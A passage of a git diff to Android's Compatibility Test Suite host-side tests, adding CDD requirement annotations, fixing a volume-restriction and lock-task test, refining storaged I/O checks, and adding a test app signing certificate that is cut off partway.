 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.media.AudioManager;
+import android.media.MediaPlayer;
+import android.provider.Settings;
 import android.os.SystemClock;
 import android.os.UserManager;
 
@@ -82,9 +84,16 @@
             return;
         }
 
+        MediaPlayer mediaPlayer = new MediaPlayer();
+        mediaPlayer.setDataSource(mContext, Settings.System.DEFAULT_RINGTONE_URI);
+        mediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);
+        mediaPlayer.prepare();
+        mediaPlayer.setLooping(true);
+        mediaPlayer.start();
+
         try {
-            // Set volume of ringtone to be 1.
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, /* flag= */ 0);
+            // Set volume of music to be 1.
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, /* flag= */ 0);
 
             // Disallow adjusting volume.
             mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -93,7 +102,7 @@
 
             // Verify that volume can't be changed.
             mAudioManager.adjustVolume(AudioManager.ADJUST_RAISE, /* flag= */ 0);
-            assertEquals(1, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+            assertEquals(1, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
 
             // Allowing adjusting volume.
             mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -105,7 +114,7 @@
             waitUntil(2, new Callable<Integer>() {
                 @Override
                 public Integer call() throws Exception {
-                    return mAudioManager.getStreamVolume(AudioManager.STREAM_RING);
+                    return mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
                 }
             });
         } finally {
@@ -114,6 +123,10 @@
                     UserManager.DISALLOW_ADJUST_VOLUME);
             waitUntil(false, mCheckIfMasterVolumeMuted);
         }
+
+        mediaPlayer.stop();
+        mediaPlayer.release();
+        mediaPlayer = null;
     }
 
     public void testDisallowUnmuteMicrophone() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/TrustAgentInfoTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/TrustAgentInfoTest.java
index 241a830..1c6804f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/TrustAgentInfoTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/TrustAgentInfoTest.java
@@ -20,6 +20,8 @@
 import android.content.ComponentName;
 import android.os.PersistableBundle;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.List;
 
 
@@ -47,6 +49,7 @@
         super.tearDown();
     }
 
+    @CddTest(requirement="9.11.1/C-1-2")
     public void testSetAndGetTrustAgentConfiguration() {
         // Set the config
         mDevicePolicyManager.setTrustAgentConfiguration(ADMIN_RECEIVER_COMPONENT,
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
index 22401b3..49057a0 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
@@ -26,6 +26,7 @@
 import android.content.pm.PackageManager;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
 import java.util.ArrayList;
 import java.util.List;
@@ -53,6 +54,7 @@
         super.tearDown();
     }
 
+    @CddTest(requirement="3.9.1.1/C-1-4")
     public void testProvisionDeviceOwner() throws Exception {
         deviceOwnerProvision(getBaseProvisioningIntent());
     }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
index ce79922..780a90c 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
@@ -20,6 +20,7 @@
 
 import android.app.ActivityManager;
 import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -30,6 +31,7 @@
 import android.util.Log;
 
 import org.junit.Before;
+import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -45,6 +47,7 @@
 
     private static final String TAG = LockTaskHostDrivenTest.class.getName();
 
+    private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000;  // 20 seconds
     private static final String PACKAGE_NAME = LockTaskHostDrivenTest.class.getPackage().getName();
     private static final ComponentName ADMIN_COMPONENT =
             new ComponentName(PACKAGE_NAME, BaseDeviceOwnerTest.BasicAdminReceiver.class.getName());
@@ -57,14 +60,45 @@
     private ActivityManager mActivityManager;
     private DevicePolicyManager mDevicePolicyManager;
 
+    private volatile boolean mIsActivityResumed;
+    private final Object mActivityResumedLock = new Object();
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            Log.d(TAG, "onReceive: " + action);
+            if (LockTaskUtilityActivity.RESUME_ACTION.equals(action)) {
+                synchronized (mActivityResumedLock) {
+                    mIsActivityResumed = true;
+                    mActivityResumedLock.notify();
+                }
+            } else if (LockTaskUtilityActivity.PAUSE_ACTION.equals(action)) {
+                synchronized (mActivityResumedLock) {
+                    mIsActivityResumed = false;
+                    mActivityResumedLock.notify();
+                }
+            }
+        }
+    };
+
     @Before
     public void setUp() {
         mContext = InstrumentationRegistry.getContext();
         mDevicePolicyManager =  mContext.getSystemService(DevicePolicyManager.class);
         mActivityManager = mContext.getSystemService(ActivityManager.class);
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(LockTaskUtilityActivity.RESUME_ACTION);
+        filter.addAction(LockTaskUtilityActivity.PAUSE_ACTION);
+        mContext.registerReceiver(mReceiver, filter);
     }
 
+    @After
+    public void tearDown() {
+        mContext.unregisterReceiver(mReceiver);
+    }
+  
     @Test
     public void startLockTask() throws Exception {
         Log.d(TAG, "startLockTask on host-driven test (no cleanup)");
@@ -77,6 +111,13 @@
     public void testLockTaskIsActiveAndCantBeInterrupted() throws Exception {
         mUiDevice.waitForIdle();
 
+        // We need to wait until the LockTaskActivity is ready
+        // since com.android.cts.deviceowner can be killed by AMS for reason "start instr".
+        synchronized (mActivityResumedLock) {
+            if (!mIsActivityResumed) {
+                mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+            }
+        }
         checkLockedActivityIsRunning();
 
         mUiDevice.pressBack();
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
index 1751244..971d5da 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
@@ -19,6 +19,8 @@
 import android.content.Context;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * The following test can run in DeviceOwner mode or non-DeviceOwner mode.
  * Don't inherit {@link BaseDeviceOwnerTest}
@@ -35,6 +37,7 @@
                 mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
     }
 
+    @CddTest(requirement="3.9.1.1/C-1-6")
     public void testIsProvisioningAllowedFalse() {
         assertFalse(mDevicePolicyManager.isProvisioningAllowed(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE));
     }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/VrTemperatureTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/VrTemperatureTest.java
index 6c139aa..321f3d6 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/VrTemperatureTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/VrTemperatureTest.java
@@ -21,6 +21,8 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.lang.Math;
 
 public class VrTemperatureTest extends BaseDeviceOwnerTest {
@@ -78,6 +80,7 @@
     /**
      * Tests that temperature sensors return valid values.
      */
+    @CddTest(requirement="7.9.2/C-1-13")
     public void testVrTemperatures() throws InterruptedException, SecurityException {
         if (!supportsVrHighPerformance())
             return;
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
index 08edf44..d1ed96f 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
@@ -29,7 +29,8 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
     android-support-v4 \
     ctstestrunner \
-    legacy-android-test
+    legacy-android-test \
+    compatibility-device-util
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
index f305e86..5e4fb07 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
@@ -23,6 +23,8 @@
 import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 import java.lang.InterruptedException;
@@ -42,6 +44,7 @@
     // We can't just register a broadcast receiver in the code because the broadcast
     // may have been sent before this test is run. So we have a manifest receiver
     // listening to the broadcast and writing to a shared preference when it receives it.
+    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testOwnerChangedBroadcastReceived() throws InterruptedException {
         final Semaphore mPreferenceChanged = new Semaphore(0);
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
index 4042fd5..be0375c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.devicepolicy;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.cts.devicepolicy.BaseDevicePolicyTest.Settings;
 
@@ -103,6 +104,7 @@
         }
     }
 
+    @CddTest(requirement="3.9.1.1/C-1-7")
     public void testCannotSetDeviceOwnerWhenAccountPresent() throws Exception {
         if (!mHasFeature) {
             return;
@@ -122,6 +124,7 @@
         }
     }
 
+    @CddTest(requirement="3.9.1.1/C-1-6")
     public void testIsProvisioningAllowed() throws Exception {
         // Must install the apk since the test runs in the DO apk.
         installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
index 51420ea..a990a72 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
@@ -17,6 +17,8 @@
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 
+import com.android.compatibility.common.util.CddTest;
+
 public class CustomManagedProfileTest extends BaseDevicePolicyTest {
 
     private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
@@ -30,6 +32,7 @@
         mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
     }
 
+    @CddTest(requirement="3.9/C-1-3")
     public void testIsProvisioningAllowed() throws Exception {
         final int primaryUserId = getPrimaryUser();
         // Must install the apk since the test runs in the ManagedProfile apk.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 7a07d7c..9b6662d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.devicepolicy;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.List;
 import java.util.concurrent.TimeUnit;
 
@@ -555,6 +557,7 @@
         executeDeviceOwnerTest("BluetoothRestrictionTest");
     }
 
+    @CddTest(requirement="3.9.1.1/C-1-4")
     public void testDeviceOwnerProvisioning() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 157c59c..80d7e6b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -20,6 +20,8 @@
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
 
+import com.android.compatibility.common.util.CddTest;
+
 import junit.framework.AssertionFailedError;
 
 import java.util.Collections;
@@ -178,6 +180,7 @@
                 TIMEOUT_USER_LOCKED_MILLIS);
     }
 
+    @CddTest(requirement="3.9.2/C-1-2")
     public void testMaxOneManagedProfile() throws Exception {
         int newUserId = -1;
         try {
@@ -609,6 +612,7 @@
         });
     }
 
+    @CddTest(requirement="3.9.2/C-1-8")
     public void testManagedContactsPolicies() throws Exception {
         runManagedContactsTest(new Callable<Void>() {
             @Override
@@ -685,6 +689,7 @@
                 /*expectFailure*/ true));
     }
 
+    @CddTest(requirement="3.9.1.1/C-1-7")
     public void testCannotSetDeviceOwnerWhenProfilePresent() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/dumpsys/Android.mk b/hostsidetests/dumpsys/Android.mk
index d15996c..030a910 100644
--- a/hostsidetests/dumpsys/Android.mk
+++ b/hostsidetests/dumpsys/Android.mk
@@ -21,7 +21,7 @@
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsDumpsysHostTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 LOCAL_CTS_TEST_PACKAGE := android.dumpsys
 
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 4d51330..25bb65f 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -18,6 +18,8 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.IOException;
@@ -37,6 +39,7 @@
      *
      * @throws Exception
      */
+    @CddTest(requirement="6.1/C-0-3")
     public void testBatterystatsOutput() throws Exception {
         String batterystats = mDevice.executeShellCommand("dumpsys batterystats --checkin");
         assertNotNull(batterystats);
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/ProcessStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/ProcessStatsDumpsysTest.java
index 4dfc1a3..5eb6a71 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/ProcessStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/ProcessStatsDumpsysTest.java
@@ -18,6 +18,8 @@
 
 import com.android.tradefed.log.LogUtil.CLog;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.BufferedReader;
 import java.io.StringReader;
 import java.util.HashSet;
@@ -50,6 +52,7 @@
      * Tests the output of "dumpsys procstats -c". This is a proxy for testing "dumpsys procstats
      * --checkin", since the latter is not idempotent.
      */
+    @CddTest(requirement="6.1/C-0-2/C-0-3")
     public void testProcstatsOutput() throws Exception {
         // First, run the helper app so that we have some interesting records in the output.
         checkWithProcStatsApp();
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
index c8981c5..129d412 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
@@ -102,8 +102,33 @@
                 }
 
                 if (parts[0].equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                    assertTrue((Integer.parseInt(parts[6]) >= 4096 && Integer.parseInt(parts[8]) >= 4096) ||
+                     /*
+                     * order of parts in StoragedService::dumpUidRecords
+                     *  [0] DEVICE_SIDE_TEST_PACKAGE
+                     *  [1] read foreground charger_off
+                     *  [2] write foreground charger_off
+                     *  [3] read background charger_off
+                     *  [4] write background charger_off
+                     *  [5] read foreground charger_on
+                     *  [6] write foreground charger_on
+                     *  [7] read background charger_on
+                     *  [8] write background charger_on
+                     */
+                    if ((Integer.parseInt(parts[6]) >= 8192 && Integer.parseInt(parts[8]) == 0) ||
+                        (Integer.parseInt(parts[2]) >= 8192 && Integer.parseInt(parts[4]) == 0)) {
+                        System.out.print("WARNING: Background I/O was attributed to the "
+                                + "foreground. This could indicate a broken or malfunctioning "
+                                + "ActivityManager or UsageStatsService.\n");
+                    } else if ((Integer.parseInt(parts[2]) >= 4096 && Integer.parseInt(parts[4]) >= 4096) ||
+                                    Integer.parseInt(parts[4]) >= 8192) {
+                        System.out.print("WARNING: charger on I/O was attributed to "
+                                + "charger off. This could indicate a broken or malfunctioning "
+                                + "ADB USB connection, or device that refuses to charge at the "
+                                + "typical 500mA because it is less than 0.05C.\n");
+                    } else {
+                        assertTrue((Integer.parseInt(parts[6]) >= 4096 && Integer.parseInt(parts[8]) >= 4096) ||
                                 Integer.parseInt(parts[8]) >= 8192);
+                    }
                     hasTestIO = true;
                 }
             }
diff --git a/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
index 630df5c..1fe704a 100644
--- a/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
+++ b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
@@ -42,7 +42,7 @@
 
     private static final String CRASH_TAG = "data_app_crash";
     private static final String ANR_TAG = "data_app_anr";
-    private static final String NATIVE_CRASH_TAG = "SYSTEM_TOMBSTONE";
+    private static final String NATIVE_CRASH_TAG = "data_app_native_crash";
 
     private static final int TIMEOUT_SECS = 60 * 3;
 
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
index b04b2f3..668c826 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
@@ -48,7 +48,7 @@
         assertTrue(scale > 0);
         int level = dump.getLevel();
         assertTrue(level >= 0 && level <= scale);
-        assertTrue(dump.getVoltage() > 0);
+        assertTrue(dump.getVoltage() >= 0);
         assertTrue(dump.getTemperature() > 0);
     }
 
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index 153d552..8a82416 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -179,9 +179,11 @@
         startSimpleActivity();
         assertValueRange("st", "", STATE_TIME_FOREGROUND_SERVICE_INDEX, 0,
                 0); // No foreground service time before test
+        final long startTime = System.nanoTime();
         runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsProcessStateTests",
                 "testForegroundService");
-        assertValueRange("st", "", STATE_TIME_FOREGROUND_SERVICE_INDEX, (long) (2000 * 0.8), 4000);
+        assertValueRange("st", "", STATE_TIME_FOREGROUND_SERVICE_INDEX, (long) (2000 * 0.8),
+                (System.nanoTime() - startTime) / 1000000);
         batteryOffScreenOn();
     }
 
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index 50d5ffe..28bc736 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -36,6 +36,7 @@
 import android.inputmethodservice.cts.common.test.ShellCommandUtils;
 import android.inputmethodservice.cts.common.test.TestInfo;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -44,6 +45,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+@CddTest(requirement="7.2.1/H-0-1,C-1-2")
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class InputMethodServiceLifecycleTest extends CompatibilityHostTestBase {
 
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java
index f3bb5d9..44909c8 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java
@@ -18,12 +18,15 @@
 
 import com.android.tradefed.device.CollectingOutputReceiver;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.concurrent.TimeUnit;
 
 public class CategoryTest extends AbstractMonkeyTest {
 
     private static final long MAX_TIMEOUT = 5 * 60 * 1000; // 5 min
 
+    @CddTest(requirement="6.1/C-0-8")
     public void testDefaultCategories() throws Exception {
         String cmd = MONKEY_CMD + " -v -p " + PKGS[0] + " 5000";
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
@@ -39,6 +42,7 @@
         }
     }
 
+    @CddTest(requirement="6.1/C-0-8")
     public void testSingleCategory() throws Exception {
         String cmd = MONKEY_CMD + " -v -p " + PKGS[0]
                 + " -c android.intent.category.LAUNCHER 5000";
@@ -69,6 +73,7 @@
         }
     }
 
+    @CddTest(requirement="6.1/C-0-8")
     public void testMultipleCategories() throws Exception {
         String cmd = MONKEY_CMD + " -v -p " + PKGS[0]
                 + " -c android.intent.category.LAUNCHER"
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
index 0241879..43f29d8 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
@@ -19,6 +19,8 @@
 import com.android.ddmlib.NullOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.Scanner;
 
 public class MonkeyTest extends AbstractMonkeyTest {
@@ -26,11 +28,13 @@
     private static final String MONKEY = "@(>.<)@";
     private static final String HUMAN = "(^_^)";
 
+    @CddTest(requirement="6.1/C-0-8")
     public void testIsMonkey() throws Exception {
         mDevice.executeShellCommand(MONKEY_CMD + " -p " + PKGS[0] + " 500");
         assertIsUserAMonkey(true);
     }
 
+    @CddTest(requirement="6.1/C-0-8")
     public void testNotMonkey() throws Exception {
         mDevice.executeShellCommand("am start -W -a android.intent.action.MAIN "
                 + "-n com.android.cts.monkey/com.android.cts.monkey.MonkeyActivity",
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java
index b3a22d6..1dea055 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java
@@ -18,6 +18,8 @@
 
 import com.android.tradefed.device.CollectingOutputReceiver;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.concurrent.TimeUnit;
 import java.util.regex.Pattern;
 
@@ -33,6 +35,7 @@
             Pattern.compile("^.*Allowing.*cmp=com\\.android\\.cts\\.monkey2/\\.ChimpActivity.*$",
                     Pattern.MULTILINE);
 
+    @CddTest(requirement="6.1/C-0-8")
     public void testSinglePackage() throws Exception {
         String cmd = MONKEY_CMD + " -v -p " + PKGS[0] + " 5000";
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
@@ -63,6 +66,7 @@
         }
     }
 
+    @CddTest(requirement="6.1/C-0-8")
     public void testMultiplePackages() throws Exception {
         String cmd = MONKEY_CMD + " -v -p " + PKGS[0] + " -p " + PKGS[1] + " 5000";
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
index 5d4b89e..4b4d3a5 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -29,7 +29,7 @@
 public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
     private int mInitialUserId;
     private static final long LOGCAT_POLL_INTERVAL_MS = 5000;
-    private static final long BOOT_COMPLETED_TIMEOUT_MS = 120000;
+    private static final long BOOT_COMPLETED_TIMEOUT_MS = 180000;
 
     @Override
     protected void setUp() throws Exception {
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
index 599a31c..c3962fb 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
@@ -22,6 +22,9 @@
 
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="7.4.7/C-1-1,H-1-1,C-2-1")
 public class DataSaverModeTest extends AbstractRestrictBackgroundNetworkTestCase {
 
     private static final String[] REQUIRED_WHITELISTED_PACKAGES = {
diff --git a/hostsidetests/net/app2/Android.mk b/hostsidetests/net/app2/Android.mk
index 9a4a30f..5c0bae1 100644
--- a/hostsidetests/net/app2/Android.mk
+++ b/hostsidetests/net/app2/Android.mk
@@ -32,4 +32,6 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
+LOCAL_CERTIFICATE := cts/hostsidetests/net/certs/cts-net-app
+
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/net/certs/README b/hostsidetests/net/certs/README
new file mode 100644
index 0000000..b660a82
--- /dev/null
+++ b/hostsidetests/net/certs/README
@@ -0,0 +1,2 @@
+# Generated with:
+development/tools/make_key cts-net-app '/CN=cts-net-app'
diff --git a/hostsidetests/net/certs/cts-net-app.pk8 b/hostsidetests/net/certs/cts-net-app.pk8
new file mode 100644
index 0000000..1703e4e
--- /dev/null
+++ b/hostsidetests/net/certs/cts-net-app.pk8
Binary files differ
diff --git a/hostsidetests/net/certs/cts-net-app.x509.pem b/hostsidetests/net/certs/cts-net-app.x509.pem
new file mode 100644
index 0000000..a15ff48
--- /dev/null
+++ b/hostsidetests/net/certs/cts-net-app.x509.pem
@@ -0,0 +1,19 @@
+-----BEGIN CERTIFICATE-----
+MIIDAjCCAeqgAwIBAgIJAMhWwIIqr1r6MA0GCSqGSIb3DQEBCwUAMBYxFDASBgNV
+BAMMC2N0cy1uZXQtYXBwMB4XDTE4MDYyMDAyMjAwN1oXDTQ1MTEwNTAyMjAwN1ow
+FjEUMBIGA1UEAwwLY3RzLW5ldC1hcHAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
+ggEKAoIBAQDefOayWQss1E+FQIONK6IhlXhe0BEyHshIrnPOOmuCPa/Svfbnmziy
+hr1KTjaQ3ET/mGShwlt6AUti7nKx9aB71IJp5mSBuwW62A8jvN3yNOo45YV8+n1o
